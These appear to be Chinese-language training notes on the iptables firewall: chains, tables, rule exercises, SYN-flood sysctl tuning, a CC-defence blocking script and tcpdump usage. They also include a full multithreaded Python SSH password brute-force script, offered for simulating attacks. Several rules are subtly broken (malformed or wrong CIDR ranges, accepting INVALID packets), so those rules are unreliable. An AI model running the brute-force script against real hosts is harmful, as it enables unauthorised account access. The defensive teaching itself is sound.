iptables
附件
CC攻擊器-邪惡十六進制2.0 模擬cc攻擊
python寫的暴力破解的腳本 模擬暴力破解攻擊
linux的防火墻 iptables
名詞解釋
dip|sip source(源) destination(目的,目標)
sport|dport
netfilter(iptables)
netfilter --工作在內核軟件,實現數據包的過濾。
iptables --工作應用層一個軟件,用來控制netfilter。
1.netfilter/iptables包過濾防火墻(tcp/ip四層)
1)應用層 --通過軟件為用戶提供接口
2)傳輸層 --提供可靠或不可靠的數據傳輸(TCP/UDP)使用端口來標示服務類型 sport dport
3)網絡層 --提供路由和選址(icmp) sip dip
4)數據鏈路層 --傳輸數據幀(MAC) s _mac arp寫 在局域網內泛洪 來找到我們對應的MAC
5)物理層 --傳輸透明比特流 eth0 eth1
過濾的依據: s_mac/sip/dip/sport/dport/狀態(三次握手/四次斷開)SYN DDOS攻擊怎么防御我們DDOS 小流量
netfilter的邏輯架構: nat 10
netfilter防火墻的元素及關系:
netfilter==>表==>鏈==>規則
三張表:
filter 防火墻表,允許和拒絕都在這里實現
nat 地址轉換
mangle 數據包整形
五條鏈:
INPUT 本機進站的數據流
OUTPUT 本機出站的數據流
FORWARD 路由的數據流
POSTROUTING 路由后的數據流
PREROUTING 路由前的數據流
表跟鏈的對應關系:
filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING
mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING
四種數據流:
本機進站的數據流:packet-->ethX-->PREROUTING-->INPUT-->本機
本機出站的數據流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的數據流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回來: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本機訪問本機: 本機-->packet-->lo-->PREROUTING-->INPUT-->本機
本機-->packet-->OUTPUT-->POSTROUTING--lo-->本機
表的匹配順序:
mangle-->nat-->filter
防火墻規則匹配順序:
1.按順序匹配,如果第一條匹配到了就直接執行這條規則的動作,不往下匹配其它規則.
2.如果第一條匹配不到,第二條也匹配不到,繼續往下匹配直到找到匹配的規則,如果找不到匹配默認規則.
傳輸層:協議(tcp/udp)
端口(sport/dport)
網絡層:
IP地址(sip/dip/icmp) ping
數據鏈路層:
mac地址(--mac-source)
物理層:
從哪個網卡進來 -i eth0 eth1 服務器2個地址 外網地址 一個內網地址
iptables操作命令
#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
iptables -[RI] chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[LFZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name
iptables -P chain target [options]
iptables -h (print this help information)
--append -A chain 追加規則
--delete -D chain 刪除規則
--delete -D chain rulenum 刪除指定序號的規則
--insert -I chain [rulenum] 插入一條規則(default 1=first) 插入會插入表的第一行
--replace -R chain rulenum 替換一條規則
--list -L [chain] 顯示出鏈或者鏈中的規則
--flush -F [chain] 在一個鏈或者所有鏈中清空規則
--zero -Z [chain] 清空計數
--new -N chain 創建用戶自定義鏈
--delete-chain
-X [chain] 刪除用戶自定義鏈
--policy -P chain target 指定默認規則
Change policy on chain to target
--rename-chain
-E old-chain new-chain
重命名用戶自定義鏈
Options:
--proto -p [!] proto 指定協議,!代表取反
--source -s [!] address[/mask] --指定源地址
source specification
--destination -d [!] address[/mask] --指定目標地址
destination specification
--in-interface -i [!] input name[+] --指定數據從哪個網口進來
network interface name ([+] for wildcard)
--jump -j target --匹配動作
target for rule (may load target extension)
--goto -g chain
jump to chain with no return
--match -m match --擴展匹配
extended match (may load extension)
--numeric -n --端口和IP以數值方式顯示,不作反解
--out-interface -o [!] output name[+] --指定數據從哪個網口出去
network interface name ([+] for wildcard)
--table -t table --指定使用哪個表 (default: `filter')
--verbose -v --顯示詳細信息
--line-numbers --顯示規則的序號
--exact -x expand numbers (display exact values)
- 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
- 追加 插入 替換 刪除
追加規則:
# iptables -t filter -A INPUT -i lo -j ACCEPT
插入規則:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT --插入成為第一條
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT --插入成為第三條規則
替換規則:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT --替換成為指定規則
刪除規則:
# iptables -t filter -D INPUT 2 --刪除指定鏈指定編號的規則
+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT 插入默認第二條
# iptables -t filter -I INPUT -i eth3 -j ACCEPT 插入默認第一條
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT 替換默認第一條
#iptables -t filter -D INPUT 1 刪除默認第一條
# iptables -t filter -F INPUT 清空filter所有INPUT鏈
#iptables -t filter -F
#iptables -L INPUT -n --line -v
空規則:
1、清空一張表
# iptables -t filter -F
注意不會清除默認規則
2、清空一條鏈中的規則
# iptables -t filter -F INPUT
新建/刪除用戶自定義的鏈:
# iptables -t filter -N uplooking 新建
# iptables -t filter -X uplooking 刪除
# iptables -t filter -X 清空filter表中所有用戶自定義鏈
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默認規則:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP
1、iptables擴展匹配
- iptables(user space)/netfilter(kernel space)
- netfilter組成(表(功能模塊)/鏈/規則)
filter(INPUT/OUTPUT/FORWARD) 過濾
nat(PREROUTING/POSTROUTING/OUTPUT) 地址轉換
mangle(5個鏈 ) 更封裝層數據包結構
-->PREROUTING-->FORWARD-->POSTROUTING-->
INPUT | | OUTPUT
本機
規則的匹原則:
1、自上而下按順序匹配
2、如果匹配到某條規則,執行這個規則動作,就不往后匹配其它規則
3、如果列表的所有的規則都匹配不到,則匹配默認規則
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丟棄
REJECT 明示拒絕
SNAT 基于源地址的nat轉換,其作用是將ip數據包的源地址轉換成另外一個地址
DNAT 目的地址轉換 其作用是將ip數據包的目標地址轉換成另外一個地址
應用層
傳輸層(tcp/udp/sport/doprt/ tcp6個控制位匹配)
網絡層(-s/-d/icmp)
數據鏈路層(mac)
物理層(-i/-o)
擴展匹配
1、通用匹配 -i -o -s -d
-i eth0 從這塊網卡流入的數據 流入一般用INPUT和PREROUING
-o eth0 從這塊網卡流出的數據 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目標IP
2、隱含匹配 tcp udp icmp sport dport
3、擴展匹配 -m mac | iprange | state
-m multiport:表示啟用多端口擴展 之后我們就可以啟用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丟棄 nmap
一般我們多用DROP來隱藏我們的身份,以及隱藏我們的鏈表
REJECT:明示拒絕
ACCEPT:接受
custom_chain:轉向一個自定義的鏈
DNAT
SNAT
MASQUERADE:源地址偽裝 nat實驗的時候
REDIRECT:重定向:主要用于實現端口重定向
MARK:打防火墻標記的
RETURN:返回
在自定義鏈執行完畢后使用返回,來返回原規則鏈。
練習題1:
只要是來自于172.16.85.14的都允許訪問我本機的172.16.100.1的SSHD服務
分析:首先肯定是在允許表中定義的。因為不需要做NAT地址轉換之類的,然后查看我們SSHD服務,在22號端口上,處理機制是接受,對于這個表,需要有一來一回兩個規則,如果我們允許也好,拒絕也好,對于訪問本機服務,我們最好是定義在INPUT鏈上,而OUTPUT再予以定義就好。(會話的初始端先定義),所以加規則就是:
定義進來的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定義出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
將默認策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
1、允許ping 127.0.0.1 和 允許 ping 10.1.1.0/24 ,其他服務都禁止
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP
或者
# iptables -P INPUT DROP 《--定義默認策略,當在規則表里找不到匹配的規則就采取策略的動作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
2、只運訪問本機的SSH服務(只允許遠程ssh登錄到本機)
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT <---定義端口的參數 --dport
還有就是
定義源端口 --source-port --sport
定義目的端口 --destination-port --dport
3、定義連續端口
iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT <---允許訪問 20到100的端口
4、定義多端口 <---引入一個“模塊”的概念
iptables -A INPUT -m multiport -p tcp --dports 22,80,110 -j ACCEPT
-m 指定模塊
multiport 支持多端口的擴展模塊
5、允許和內網的客戶(10.1.1.0/24)進行傳輸數據(包括ping)
iptables -P INPUT DROP
iptables -A INPUT -p ALL -i eth0 -s 10.1.1.0/24 -j ACCEPT
6、決絕訪問色情網站www.baidu.com
iptables -A OUTPUT -d www.baidu.com -j DROP
7、通過硬件地址進行過濾
-m mac --mac-source [!] address
iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
注意REJECT 和 DROP 區別
8、定義連續的IP地址
iptables -A INPUT -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP
9、對外只開放web服務,其他一切不放行,不允許進來也不允許出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT <--tcpdump tcp port 80 只看到進來的,沒有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
10、綜合應用:
本機需要開放的服務有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服務。
其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允許所有網絡的人訪問;
ssh 只允許本地局域網中的某個MAC地址訪問
只允許本地局域網的用戶發送郵件
只允許本地局域網的用戶查詢DNS
# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT
練習題icmp:
icmp:0 8
0:應答請求
8:ping請求
icmp對照表
假如我們允許自己ping別人,但是別人ping自己ping不通如何實現呢?
分析:對于ping這個協議,進來的為8(ping),出去的為0(響應).我們為了達到目的,需要8出去,允許0進來
在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
在進來的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP
iptables -A INPUT -p icmp --icmp-type 8 -j DROP
小擴展:對于127.0.0.1比較特殊,我們需要明確定義它
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模塊的位置
-m connlimit:每個IP的并發連接數(TCP) --關注的是新發起的連接(NEW --syn)
mount -o loop rhel55.iso /mnt
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT
-m icmp:ping包請求與發送
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -j DROP
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==> 0 相當于 echo-reply
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==> 8 相當于 echo-request
-m ipranges:IP范圍
[!] --src-range ip-ip Match source IP in the specified range
[!] --dst-range ip-ip Match destination IP in the specified range
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP
-m limit:速率限制
[root@ ~]# watch iptables -L INPUT -nv
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP
-m mac:匹配源地址的 MAC 地址
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP
-m multiport:多端口
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP
-m state(NEW/ESTABLISHED/RELATED/INVALID):
NEW --第一個數包,跟TCP狀態無關
ESTABLISHED --第二個數據包
RELATED --已經發生關系的數據(FTP)
INVALID --無效數據包
個人簡單的防火墻(狀態):
ESTABLISHED 不允許其他主機發起的主動訪問,只允許本地主機主動發起的發功能文以及lo通訊
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已發生關系的
(1)vsftpd數據傳輸(考慮模式,默認是主動模式)
主動模式:
21 --控制端口
20 --數據端口
被動模式:
21 --控制端口
1024+ --數據端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模塊的支持,內核才能支持 RELATED狀態
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被動模式/主動:
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加載FTP狀態自動跟蹤模塊,它可以完成自動切換端口
-m string:字符串內容進行匹配(局限大,效率低,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:時間限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP
抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位碼即tcp標志位,有6種標示:
SYN(synchronous建立聯機)
ACK(acknowledgement 確認)
PSH(push傳送)
FIN(finish結束)
RST(reset重置)
URG(urgent緊急)
Sequence number(順序號碼)
Acknowledge number(確認號碼)
三次握手狀態意義:
LISTEN - 偵聽來自遠方TCP端口的連接請求;
SYN-SENT -在發送連接請求后等待匹配的連接請求;
SYN-RECEIVED - 在收到和發送一個連接請求后等待對連接請求的確認;
ESTABLISHED- 代表一個打開的連接,數據可以傳送給用戶;
FIN-WAIT-1 - 等待遠程TCP的連接中斷請求,或先前的連接中斷請求的確認;
FIN-WAIT-2 - 從遠程TCP等待連接中斷請求;
CLOSE-WAIT - 等待從本地用戶發來的連接中斷請求;
CLOSING -等待遠程TCP對連接中斷的確認;
LAST-ACK - 等待原來發向遠程TCP的連接中斷請求的確認;
TIME-WAIT -等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認;
CLOSED - 沒有任何連接狀態;
TCP/IP協議中,TCP協議提供可靠的連接服務,采用三次握手建立一個連接,如圖1所示。
(1)第一次握手:建立連接時,客戶端A發送SYN包(SYN=j)到服務器B,并進入SYN_SEND狀態,等待服務器B確認。
(2)第二次握手:服務器B收到SYN包,必須確認客戶A的SYN(ACK=j+1),同時自己也發送一個SYN包(SYN=k),即SYN+ACK包,此時服務器B進入SYN_RECV狀態。
(3)第三次握手:客戶端A收到服務器B的SYN+ACK包,向服務器B發送確認包ACK(ACK=k+1),此包發送完畢,客戶端A和服務器B進入ESTABLISHED狀態,完成三次握手。
完成三次握手,客戶端與服務器開始傳送數據。
四次揮手是斷開連接
由于TCP連接是全雙工的,因此每個方向都必須單獨進行關閉。這個原則是當一方完成它的數據發送任務后就能發送一個FIN來終止這個方向的連接。收到一個 FIN只意味著這一方向上沒有數據流動,一個TCP連接在收到一個FIN后仍能發送數據。首先進行關閉的一方將執行主動關閉,而另一方執行被動關閉。
CP的連接的拆除需要發送四個包,因此稱為四次揮手(four-way handshake)??蛻舳嘶蚍掌骶芍鲃影l起揮手動作,在socket編程中,任何一方執行close()操作即可產生揮手操作。
(1)客戶端A發送一個FIN,用來關閉客戶A到服務器B的數據傳送。
(2)服務器B收到這個FIN,它發回一個ACK,確認序號為收到的序號加1。和SYN一樣,一個FIN將占用一個序號。
(3)服務器B關閉與客戶端A的連接,發送一個FIN給客戶端A。
(4)客戶端A發回ACK報文確認,并將確認序號設置為收到序號加1。
- 為何主機A在發送了最后的確認后沒有進入CLOSED狀態,反而進入了一個2MSL的TIME-WAIT。主要作用有兩個:第一,確保主機A最后發送的確認能夠到達主機B。如果處于LAST-ACK狀態的主機B一直收不到來自主機A的確認,它會重傳斷開連接請求,然后主機A就可以有足夠的時間去再次發送確認。但是這也只能盡最大力量來確保能夠正常斷開,如果主機A的確認總是在網絡中滯留失效,從而超過了2MSL,最后也無法正常斷開;第二,如果主機A在發送了確認之后立即進入CLOSED狀態。假設之后主機A再次向主機B發送一條連接請求,而這條連接請求比之前的確認報文更早地到達主機B,則會使得主機B以為這條連接請求是在舊的連接中A發出的報文,并不看成是一條新的連接請求了,即使得這個連接請求失效了,增加2MSL的時間可以使得這個失效的連接請求報文作廢,這樣才不影響下次新的連接請求中出現失效的連接請求。
- 在下面的抓包實驗中,為什么斷開連接請求報文只有三個,而不是四個。因為在TCP連接過程中,確認的發送有一個延時(即經受延時的確認),一端在發送確認的時候將等待一段時間,如果自己在這段事件內也有數據要發送,就跟確認一起發送,如果沒有,則確認單獨發送。而我們的抓包實驗中,由服務器端先斷開連接,之后客戶端在確認的延遲時間內,也有請求斷開連接需要發送,于是就與上次確認一起發送,因此就只有三個數據報了。
DDOS原理,及輕量級別攻擊的防止
# vim /etc/sysctl.conf
net.ipv4.tcp_max_syn_backlog = 8096 --超過最大連接數后產生新syn隊列的長度
net.ipv4.tcp_synack_retries = 2 --syn確認的重試次數
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外連接的端口范圍。缺省情況下很?。?2768到61000,改為1024到65000。
net.ipv4.tcp_syncookies = 1 --表示開啟SYNCookies。當出現SYN等待隊列溢出時,啟用cookies來處理,可防范少量SYN攻擊,默認為0,表示關閉;
net.ipv4.tcp_tw_reuse = 1 --表示開啟重用。允許將TIME-WAITsockets重新用于新的TCP連接,默認為0,表示關閉;
net.ipv4.tcp_tw_recycle = 1 --表示開啟TCP連接中TIME-WAIT sockets的快速回收,默認為0,表示關閉。
net.ipv4.tcp_max_tw_buckets=5000--表示系統同時保持TIME_WAIT套接字的最大數量,如果超過這個數字,TIME_WAIT套接字將立刻被清除并打印警告信息。默認為180000,改為5000。
sysctl -p
1、通過iptables防止輕量級別的DDOS
-m limit
-m connlimit
2、DDOS的原理,三次握手(客戶端第三次不回應服務端)
3、通過內核增大TCP緩沖區,支持更多的連接。
4、增加更強大的硬件防火墻,用于丟棄(過濾)掉不正常syn請求,搭建負載均衡集群,另外保證你的外網有足夠大的帶寬
第一種 一
從哪個網卡出去 -o
傳輸層:協議(tcp/udp)
端口(sport /dport)
網絡層:
IP地址(sip /dip /icmp) ping
數據鏈路層:
mac地址(--mac-source)
物理層:
從哪個網卡進來 -i eth0 eth1 服務器2個地址 外網地址 一個內網地址
從哪個網卡出去 -o
iptables防御cc攻擊腳本
#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi
iptable通用腳本
#!/bin/bash
# Descript:The Firewall Script.
iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
- 使用python多線程暴力破解linux密碼
#!/bin/python
import optparse
import time
from threading import *
from pexpect import pxssh
maxConnections = 100
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()
tcpdump 抓包工具
1)tcpdump(傳輸/網絡層)
tcpdump -i eth0
tcpdump -i eth0 -vnn
-v:顯示包含有TTL,TOS值等等更詳細的信息
-n:不要做IP解析為主機名
-nn:不做名字解析和端口解析
更有針對性的抓包:
針對IP,網段,端口,協議
tcpdump -n -i eth0 -vnn host 192.168.0.154 --主機地址里邊只要包含地址有:192.168.0.154
tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一個網段數據包
tcpdump -i eth0 -vnn port 22
tcpdump -i eth0 -vnn udp
tcpdump -i eth0 -vnn icmp ping
tcpdump -i eth0 -vnn arp
$x = y$$x = y$ # tcpdump -i eth0 -vnn ip
tcpdump -n -i eth0 -vnn src host 192.168.0.154
tcpdump -i eth0 -vnn dst host 192.168.0.154
tcpdump -i eth0 -vnn src port 22
tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22
抓包最主要的功能在于調試,比如在調試某個服務的時候 明明服務起來了 但是不知道為什么鏈接不上 可以通過抓包工具來測試看看請求包有沒有過來服務器,來判斷是傳輸過程中失敗了 還是被服務器拒絕了